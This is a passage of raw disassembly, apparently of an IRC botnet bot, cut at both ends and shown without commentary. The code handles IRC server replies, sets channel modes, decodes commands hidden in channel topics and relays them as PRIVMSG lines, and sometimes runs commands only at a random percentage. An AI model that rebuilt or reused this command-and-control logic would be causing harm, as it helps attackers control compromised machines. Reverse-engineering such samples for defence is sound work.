movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_40DD74 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax mov [ebp+var_7E8], eax jmp short loc_40DD80 ; --------------------------------------------------------------------------- loc_40DD74: ; CODE XREF: sub_40D871+4F2j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_7E8], eax loc_40DD80: ; CODE XREF: sub_40D871+501j push [ebp+var_7E8] push offset aModeSSmntu ; "MODE %s +smntu" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD97: ; CODE XREF: sub_40D871+4C8j ; sub_40D871+4DBj ... push offset a001 ; "001" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DE70 push 21h mov eax, [ebp+arg_C] push dword ptr [eax+8] lea eax, [ebp+var_4B4] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_4B4] push eax push offset byte_41EE48 call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4B4] push eax push offset aModeSXi ; "MODE %s +xi" call sub_40D6CB pop ecx pop ecx push offset dword_41ED48 push offset dword_41DAB4 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch lea eax, [ebp+var_490] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx test eax, eax jz short loc_40DE58 lea eax, [ebp+var_490] push eax call sub_4041B7 pop ecx test eax, eax jz short loc_40DE43 lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx jmp short loc_40DE56 ; --------------------------------------------------------------------------- loc_40DE43: ; CODE XREF: sub_40D871+5BBj lea eax, [ebp+var_490] push eax push offset dword_41EF48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DE56: ; CODE XREF: sub_40D871+5D0j jmp short loc_40DE6B ; --------------------------------------------------------------------------- loc_40DE58: ; CODE XREF: sub_40D871+5AAj lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx loc_40DE6B: ; CODE XREF: sub_40D871:loc_40DE56j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE70: ; CODE XREF: sub_40D871+53Aj push offset a451 ; "451" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DE96 push 0 push 1 call sub_40D043 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE96: ; CODE XREF: sub_40D871+613j push offset a302 ; "302" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DF3E mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jnz short loc_40DEBE jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEBE: ; CODE XREF: sub_40D871+646j push offset a@ ; "@" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5B8], eax cmp [ebp+var_5B8], 0 jnz short loc_40DEE4 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEE4: ; CODE XREF: sub_40D871+66Cj push 100h mov eax, [ebp+var_5B8] inc eax push eax push offset dword_41EF48 call sub_407A56 add esp, 0Ch lea eax, [ebp+var_5B4] push eax mov eax, [ebp+var_5B8] inc eax push eax call sub_404612 pop ecx pop ecx movzx eax, al test eax, eax jnz short loc_40DF20 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF20: ; CODE XREF: sub_40D871+6A8j push 100h lea eax, [ebp+var_5B4] push eax push offset dword_41EF48 call sub_407A56 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF3E: ; CODE XREF: sub_40D871+639j push offset aNick ; "NICK" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF8E mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jnz short loc_40DF62 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF62: ; CODE XREF: sub_40D871+6EAj push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF89 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax push eax push offset byte_41EE48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DF89: ; CODE XREF: sub_40D871+702j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF8E: ; CODE XREF: sub_40D871+6E1j push offset a332 ; "332" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz loc_40E128 mov eax, [ebp+arg_10] cmp dword ptr [eax+10h], 0 jz short loc_40DFBF mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_40DFC4 loc_40DFBF: ; CODE XREF: sub_40D871+73Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DFC4: ; CODE XREF: sub_40D871+74Cj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E05F mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+arg_10] cmp dword ptr [eax+14h], 0 jz short loc_40E04E mov eax, [ebp+arg_10] push dword ptr [eax+14h] mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] lea eax, [eax+ecx+1] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40E05F ; --------------------------------------------------------------------------- loc_40E04E: ; CODE XREF: sub_40D871+7BBj mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] and byte ptr [eax+ecx+1], 0 loc_40E05F: ; CODE XREF: sub_40D871+760j ; sub_40D871+7DBj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jz loc_40E123 lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40813C add esp, 0Ch mov [ebp+var_7C0], eax and [ebp+var_7C8], 0 loc_40E09A: ; CODE XREF: sub_40D871+8ADj cmp [ebp+var_7C0], 0 jnz short loc_40E0A5 jmp short loc_40E123 ; --------------------------------------------------------------------------- loc_40E0A5: ; CODE XREF: sub_40D871+830j ; sub_40D871+851j mov eax, [ebp+var_7C0] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40E0B5 jmp short loc_40E0C4 ; --------------------------------------------------------------------------- loc_40E0B5: ; CODE XREF: sub_40D871+840j mov eax, [ebp+var_7C0] inc eax mov [ebp+var_7C0], eax jmp short loc_40E0A5 ; --------------------------------------------------------------------------- loc_40E0C4: ; CODE XREF: sub_40D871+842j push [ebp+var_7C0] mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_7BC] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_7BC] push eax call sub_40E618 pop ecx lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_7C8], eax mov eax, [ebp+var_7C8] mov [ebp+var_7C0], eax jmp loc_40E09A ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40D871+7FAj ; sub_40D871+832j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E128: ; CODE XREF: sub_40D871+731j cmp [ebp+arg_0], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz short loc_40E153 push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E158 loc_40E153: ; CODE XREF: sub_40D871+8BBj ; sub_40D871+8C4j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E158: ; CODE XREF: sub_40D871+8E0j mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E1C0 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1AB mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E1BE ; --------------------------------------------------------------------------- loc_40E1AB: ; CODE XREF: sub_40D871+923j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax and [ebp+var_84], 0 loc_40E1BE: ; CODE XREF: sub_40D871+938j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E1C0: ; CODE XREF: sub_40D871+915j push offset aNotice ; "NOTICE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E211 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1F9 mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E20F ; --------------------------------------------------------------------------- loc_40E1F9: ; CODE XREF: sub_40D871+971j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax mov [ebp+var_84], 1 loc_40E20F: ; CODE XREF: sub_40D871+986j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E211: ; CODE XREF: sub_40D871+963j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E216: ; CODE XREF: sub_40D871:loc_40E1BEj ; sub_40D871:loc_40E20Fj cmp [ebp+var_84], 3 jnz loc_40E321 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax and [ebp+var_7CC], 0 jmp short loc_40E253 ; --------------------------------------------------------------------------- loc_40E246: ; CODE XREF: sub_40D871:loc_40E31Cj mov eax, [ebp+var_7CC] inc eax mov [ebp+var_7CC], eax loc_40E253: ; CODE XREF: sub_40D871+9D3j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] cmp dword ptr [ecx+eax*4], 0 jz short loc_40E26B cmp [ebp+var_7CC], 0Fh jnz short loc_40E2B8 loc_40E26B: ; CODE XREF: sub_40D871+9EFj mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D4], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E2B6 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] mov byte ptr [eax+ecx-1], 1 loc_40E2B6: ; CODE XREF: sub_40D871+A2Cj jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E2B8: ; CODE XREF: sub_40D871+9F8j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D0], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E31C mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E31C: ; CODE XREF: sub_40D871+A79j jmp loc_40E246 ; --------------------------------------------------------------------------- loc_40E321: ; CODE XREF: sub_40D871+9ACj ; sub_40D871:loc_40E2B6j ... push offset byte_41EE48 push [ebp+var_90] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E340 mov eax, [ebp+arg_4] mov [ebp+var_90], eax loc_40E340: ; CODE XREF: sub_40D871+AC4j push 7Ah push 0 lea eax, [ebp+var_7C] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] mov eax, [eax] mov [ebp+var_88], eax and [ebp+var_8C], 0 mov eax, [ebp+arg_10] push dword ptr [eax] call sub_416B40 ; strlen pop ecx mov [ebp+var_80], eax loc_40E370: ; CODE XREF: sub_40D871:loc_40E3F2j cmp [ebp+var_80], 3 jnb short loc_40E378 jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E378: ; CODE XREF: sub_40D871+B03j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 20h jnz short loc_40E393 mov eax, [ebp+var_80] dec eax mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E393: ; CODE XREF: sub_40D871+B17j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-3] cmp eax, 20h jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-2] cmp eax, 2Dh jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 7Ah jg short loc_40E3F0 mov [ebp+var_8C], 1 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] mov [ebp+eax+var_7C], 1 mov eax, [ebp+var_80] sub eax, 3 mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E3F0: ; CODE XREF: sub_40D871+B32j ; sub_40D871+B44j ... jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E3F2: ; CODE XREF: sub_40D871+B20j ; sub_40D871+B7Dj jmp loc_40E370 ; --------------------------------------------------------------------------- loc_40E3F7: ; CODE XREF: sub_40D871+B05j ; sub_40D871:loc_40E3F0j cmp [ebp+var_8C], 0 jz loc_40E4CC and [ebp+var_7D8], 0 jmp short loc_40E41A ; --------------------------------------------------------------------------- loc_40E40D: ; CODE XREF: sub_40D871:loc_40E4C7j mov eax, [ebp+var_7D8] inc eax mov [ebp+var_7D8], eax loc_40E41A: ; CODE XREF: sub_40D871+B9Aj cmp [ebp+var_7D8], 10h jnb loc_40E4CC mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] cmp dword ptr [ecx+eax*4], 0 jnz short loc_40E43B jmp loc_40E4CC ; --------------------------------------------------------------------------- loc_40E43B: ; CODE XREF: sub_40D871+BC3j mov eax, [ebp+var_88] add eax, [ebp+var_80] mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] cmp [edx+ecx*4], eax jb short loc_40E4C7 cmp [ebp+var_8C], 0 jz short loc_40E48F cmp [ebp+var_7D8], 0 jz short loc_40E488 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4-4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] mov ecx, [edx+ecx*4-4] and byte ptr [ecx+eax], 0 loc_40E488: ; CODE XREF: sub_40D871+BF1j and [ebp+var_8C], 0 loc_40E48F: ; CODE XREF: sub_40D871+BE8j mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] and dword ptr [ecx+eax*4], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] and dword ptr [ecx+eax*4], 0 loc_40E4C7: ; CODE XREF: sub_40D871+BDFj jmp loc_40E40D ; --------------------------------------------------------------------------- loc_40E4CC: ; CODE XREF: sub_40D871+B8Dj ; sub_40D871+BB0j ... push offset byte_41EE48 mov eax, [ebp+arg_C] push dword ptr [eax+8] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E513 mov eax, [ebp+arg_10] add eax, 0Ch push eax mov eax, [ebp+arg_C] add eax, 0Ch push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E513: ; CODE XREF: sub_40D871+C6Fj mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jnz short loc_40E521 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E521: ; CODE XREF: sub_40D871+CA9j and [ebp+var_7DC], 0 push offset asc_41A070 ; "*" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E54A mov [ebp+var_7DC], 1 jmp loc_40E5DE ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40D871+CCBj mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset byte_41EE48 call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E56C mov [ebp+var_7DC], 1 jmp short loc_40E5DE ; --------------------------------------------------------------------------- loc_40E56C: ; CODE XREF: sub_40D871+CF0j mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx cmp eax, 4 ja short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] movsx eax, byte ptr [ecx+eax-1] cmp eax, 25h jnz short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] and byte ptr [ecx+eax-1], 0 call sub_410422 xor edx, edx push 64h pop ecx div ecx inc edx mov [ebp+var_7E0], edx mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B9C ; atoi pop ecx cmp eax, [ebp+var_7E0] jl short loc_40E5DE mov [ebp+var_7DC], 1 loc_40E5DE: ; CODE XREF: sub_40D871+CD4j ; sub_40D871+CF9j ... movzx eax, [ebp+var_7DC] test eax, eax jz short loc_40E615 mov eax, [ebp+arg_10] add eax, 10h push eax mov eax, [ebp+arg_C] add eax, 10h push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch loc_40E615: ; CODE XREF: sub_40D871+31j ; sub_40D871+4Cj ... pop edi leave retn sub_40D871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E618 proc near ; CODE XREF: sub_40C93C+A8p ; sub_40D871+87Fp ... var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = byte ptr -118Ch var_1180 = dword ptr -1180h var_114C = dword ptr -114Ch var_1148 = dword ptr -1148h var_1144 = dword ptr -1144h var_113C = dword ptr -113Ch var_1138 = dword ptr -1138h var_1109 = byte ptr -1109h var_1108 = byte ptr -1108h var_1089 = byte ptr -1089h var_1088 = byte ptr -1088h var_88 = dword ptr -88h var_84 = byte ptr -84h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1194h call sub_416BC0 and [ebp+var_4], 0 push 10h lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1088] push eax push [ebp+arg_0] call sub_407928 add esp, 14h push offset a302 ; "302" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E66D mov dword_41E9AC, 1 jmp short loc_40E674 ; --------------------------------------------------------------------------- loc_40E66D: ; CODE XREF: sub_40E618+47j and dword_41E9AC, 0 loc_40E674: ; CODE XREF: sub_40E618+53j cmp [ebp+var_1148], 0 jz short loc_40E686 cmp [ebp+var_1144], 0 jnz short loc_40E68B loc_40E686: ; CODE XREF: sub_40E618+63j jmp locret_40E941 ; --------------------------------------------------------------------------- loc_40E68B: ; CODE XREF: sub_40E618+6Cj push offset aPrivmsg ; "PRIVMSG" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40E6BB push offset aNotice ; "NOTICE" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40E7A5 loc_40E6BB: ; CODE XREF: sub_40E618+87j cmp [ebp+var_113C], 0 jz loc_40E7A5 cmp [ebp+var_1138], 0 jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+2] test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax push eax mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_113C] add eax, [ebp+var_1190] and byte ptr [eax+1], 0 push 0Dh lea eax, [ebp+var_1180] push eax lea eax, [ebp+var_113C] push eax push [ebp+var_1180] push [ebp+var_113C] call sub_407928 add esp, 14h loc_40E7A5: ; CODE XREF: sub_40E618+9Dj ; sub_40E618+AAj ... push offset aLinkLink@link ; "link!link@link" push [ebp+var_1148] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz loc_40E853 and [ebp+var_1194], 0 jmp short loc_40E7D5 ; --------------------------------------------------------------------------- loc_40E7C8: ; CODE XREF: sub_40E618+234j mov eax, [ebp+var_1194] inc eax mov [ebp+var_1194], eax loc_40E7D5: ; CODE XREF: sub_40E618+1AEj mov eax, [ebp+var_1194] cmp off_41DA5C[eax*4], 0 jnz short loc_40E7E7 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E7E7: ; CODE XREF: sub_40E618+1CBj mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_1194] push off_41DA5C[eax*4] mov eax, [ebp+var_1148] inc eax push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E839 mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105AD pop ecx mov [ebp+var_4], 1 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E839: ; CODE XREF: sub_40E618+203j mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105AD pop ecx jmp loc_40E7C8 ; --------------------------------------------------------------------------- loc_40E851: ; CODE XREF: sub_40E618+1CDj ; sub_40E618+21Fj jmp short loc_40E85A ; --------------------------------------------------------------------------- loc_40E853: ; CODE XREF: sub_40E618+1A1j mov [ebp+var_4], 1 loc_40E85A: ; CODE XREF: sub_40E618:loc_40E851j and [ebp+var_88], 0 mov [ebp+var_114C], 1 jmp short loc_40E87A ; --------------------------------------------------------------------------- loc_40E86D: ; CODE XREF: sub_40E618:loc_40E90Aj mov eax, [ebp+var_114C] inc eax mov [ebp+var_114C], eax loc_40E87A: ; CODE XREF: sub_40E618+253j cmp [ebp+var_114C], 80h jge loc_40E90F mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] cmp eax, 21h jnz short loc_40E8B6 mov [ebp+var_88], 1 mov eax, [ebp+var_114C] and byte ptr [ebp+eax+var_88+3], 0 loc_40E8B6: ; CODE XREF: sub_40E618+284j cmp [ebp+var_88], 0 jnz short loc_40E8DA mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov byte ptr [ebp+ecx+var_88+3], al loc_40E8DA: ; CODE XREF: sub_40E618+2A5j mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov [ebp+ecx+var_1109], al mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E90A jmp short loc_40E90F ; --------------------------------------------------------------------------- loc_40E90A: ; CODE XREF: sub_40E618+2EEj jmp loc_40E86D ; --------------------------------------------------------------------------- loc_40E90F: ; CODE XREF: sub_40E618+26Cj ; sub_40E618+2F0j and [ebp+var_5], 0 and [ebp+var_1089], 0 lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1108] push eax lea eax, [ebp+var_84] push eax push [ebp+var_4] call sub_40D871 add esp, 14h locret_40E941: ; CODE XREF: sub_40E618:loc_40E686j leave retn sub_40E618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E943 proc near ; CODE XREF: sub_4167F1+2C9p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_40E94E: ; CODE XREF: sub_40E943+32j mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E960 jmp short locret_40E977 ; --------------------------------------------------------------------------- loc_40E960: ; CODE XREF: sub_40E943+19j push [ebp+var_8] call sub_407B5E pop ecx mov [ebp+var_4], eax push [ebp+var_8] call sub_40E618 pop ecx jmp short loc_40E94E ; --------------------------------------------------------------------------- locret_40E977: ; CODE XREF: sub_40E943+1Bj leave retn sub_40E943 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E979 proc near ; CODE XREF: sub_4167F1+E4p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40E98A ; --------------------------------------------------------------------------- loc_40E983: ; CODE XREF: sub_40E979+24j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E98A: ; CODE XREF: sub_40E979+8j cmp [ebp+var_4], 100h jnb short loc_40E99F mov eax, [ebp+var_4] and byte_41E9B0[eax], 0 jmp short loc_40E983 ; --------------------------------------------------------------------------- loc_40E99F: ; CODE XREF: sub_40E979+18j and [ebp+var_4], 0 jmp short loc_40E9AC ; --------------------------------------------------------------------------- loc_40E9A5: ; CODE XREF: sub_40E979+4Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E9AC: ; CODE XREF: sub_40E979+2Aj cmp [ebp+var_4], 40h jnb short locret_40E9C7 mov eax, [ebp+var_4] movzx eax, byte_41A18C[eax] mov cl, byte ptr [ebp+var_4] mov byte_41E9B0[eax], cl jmp short loc_40E9A5 ; --------------------------------------------------------------------------- locret_40E9C7: ; CODE XREF: sub_40E979+37j leave retn sub_40E979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9C9 proc near ; CODE XREF: sub_40A9CF+34Cp ; sub_40A9CF+E18p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 2 jnb short loc_40E9E8 xor eax, eax jmp locret_40EB4C ; --------------------------------------------------------------------------- loc_40E9E8: ; CODE XREF: sub_40E9C9+16j and [ebp+var_4], 0 and [ebp+var_8], 0 loc_40E9F0: ; CODE XREF: sub_40E9C9+17Aj push 1 pop eax test eax, eax jz loc_40EB48 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA29 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA2E ; --------------------------------------------------------------------------- loc_40EA29: ; CODE XREF: sub_40E9C9+40j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA2E: ; CODE XREF: sub_40E9C9+5Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], 